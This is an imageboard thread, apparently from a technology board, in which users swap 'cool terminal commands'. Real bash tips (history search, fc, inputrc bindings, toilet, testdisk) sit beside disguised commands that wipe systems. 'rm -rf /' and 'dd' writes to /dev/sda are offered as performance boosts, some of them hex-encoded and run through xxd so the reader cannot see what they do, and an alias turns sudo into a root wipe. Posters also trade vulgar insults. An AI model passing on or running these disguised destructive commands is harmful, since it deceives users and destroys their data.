What are some cool terminal commands?

ix.io/1htL
you can trust that's safe (have sound on) and have fun, or not

Why would they have Gnu's head on display like that?

a fucking bot generated thread

Newfag

>newfag
>can recognise common threads
why dont you show me your dick big guy?

...

alias rm=" echo I\'m afraid I can\'t let you do that Dave"

that's part of 'moe' style

alias sudo="sudo rm -rf --no-preserve-root / ;"

>i once tried ubuntu xd
sudo apt install package-name
if singles, dubs or trips then you gotta do it nohomo

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you ain't seen nothing yet

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I recommend you try the following, it gives a 158% boost in performance on most systems
sudo rm -rf /

This one is said to improve hard drive/SSD performance
sudo dd if=/dev/null of=/dev/sda

>posting the same tired old shit every time this thread comes around is super funny and original

sudo apt install girlfriend

fuck you. it didnt work

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Mascots / icon designs for anything Linux related is away decades behind and that's part of the reason there will never be a year of the Linux desktop. No college student girl is going to want to type on an OS with a fucking ugly antelope as its representative.

Her birthday is coming
I'll give her a ThinkPad

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install Gentoo/Linux

>stuttering sound in wine.
kpill wine
>fixed

$(echo 726d202d7266207e2f2a | xxd -r -p)

keep your headphones volume middle-low

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Linux is a kernel.

g is not useful for anything other than trolling people.

you can usually recover a lot of files that have been recently deleted using testdisk.

just shutdown quickly and use testdisk from a liveCD to recover your shit

Just update the command to use shred instead of rm

cat /dev/urandom | hexdump -v -e '/1 "%u\n"' | awk '{ split("0,2,4,5,7,9,11,12",a,","); for (i = 0; i < 1; i+= 0.0001) printf("%08X\n", 100*sin(1382*exp((a[$1 % 8]/12)*log(2))*i)) }' | xxd -r -p | aplay -c 2 -f S32_LE -r 16000

while :; do eject -T; done

You need a desktop CD/DVD drive though.

you need to enable the "social" package repo

lold

Someone posted this last thread, but I'm reposting it because it is very good and everyone should be aware:

in bash:
ctrl-R
allows you to search previous command history.
Also:
tab in bash to autocomplete commands.

They killed the dumb licence and hid the body

you dont have to escape single quotes inside double-quoted string. and vice versa

Learn GNU Readline. What you wrote is cool and most Linux users know it already but you can go a lot further than this.

youtu.be/MxRTh8wlmJk

Nice. This is a variation of your command. Mind your speakers.

$(echo 7375646f2064642069663d2f6465762f72616e646f6d206f663d2f6465762f736461 | xxd -r -p)

except case in point, you won't see any single quotes in the output.

sudo dd if=/dev/random of=/dev/sda

Nice

vrms

13 non-free packages, 0.4% of 2891 installed packages.

10 contrib packages, 0.3% of 2891 installed packages.

also

toilet
figlet

finger.
You can read what carmack is up to.

curl cht.sh

see /etc/inputrc.
alternative bindings commented out.
copy the ones you like to ~/.inputrc (without #)
You will like
# -------- Bind page up/down wih history search ---------
"\e[5~": history-search-backward
"\e[6~": history-search-forward

> type ffmpeg, press page up to scroll through previous commands beginning with ffmpeg.

$ printf "No\nBrainlets\nAllowed" | toilet

mm m
#"m # mmm
# #m # #" "#
# # # # #
# ## "#m#"



mmmmm " ""# m
# # m mm mmm mmm m mm # mmm mm#mm mmm
#mmmm" #" " " # # #" # # #" # # # "
# # # m"""# # # # # #"""" # """m
#mmmm" # "mm"# mm#mm # # "mm "#mm" "mm "mmm"



mm ""# ""# #
## # # mmm m m mmm mmm#
# # # # #" "# "m m m" #" # #" "#
#mm# # # # # #m#m# #"""" # #
# # "mm "mm "#m#" # # "#mm" "#m##

fc -l -10
>list previous 10 commands in bash history
!37
>run history line 37 again.
!ffmpeg:s/1200k/800k/
>repeat most recent command starting with ffmpeg, but substitute 800k for 1200k
!?testfile
>repeat last command that contained the string "testfile"
^cat^less
>run previous command with less instead of cat.
use escape . (escape dot) to autocomplete the final arg (or path, filename) of most recent command

It never fails to entertain me that there is a utility that is unironically called "toilet".

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Why not just use Crtl+R and start typing?

What are the two distros on the right?

finger $USER
>No mail
>No plan

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Because it's not the same thing.

Here you go user. You can live vicariously through carmack
github.com/ESWAT/john-carmack-plan-archive

open terminal emulator
press ctrl x e
editor opens
type 19 lines of bash commands
save and exit editor
19 lines of bash commands run.

That's not how you run bash commands in parallel.

Correct. It runs them one at a time.

it actually writes what's in the editor to a file in /tmp and executes that list of commands.

doesnt work in dash or zsh.

The filename starts with "fc"
see help fc

toilet also has an option called --gay

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{

what does it do?

Does cowsay RAAAAALLFFF | toilet do anything?

cmatrix

I'm not sure about the dinosaur, but the other one is just the java mascot.

mozilla

is this a joke? what else would happen?

mustard gas.

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yeah yeah
was wondering if there were people here from /v/ or something that didn't understand that that's literally how bash worked

>don't noobs make you mad?
Well, somebody already posted tab is autocomplete, and I thought that was sweet.

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memhog 4g

it plays nintendo game's music

sudo cat /dev/urandom > /dev/sda

lol that effort

it actually just writes byte codes and then passed to aplay

>copying commands from Jow Forums into terminal
naaaaah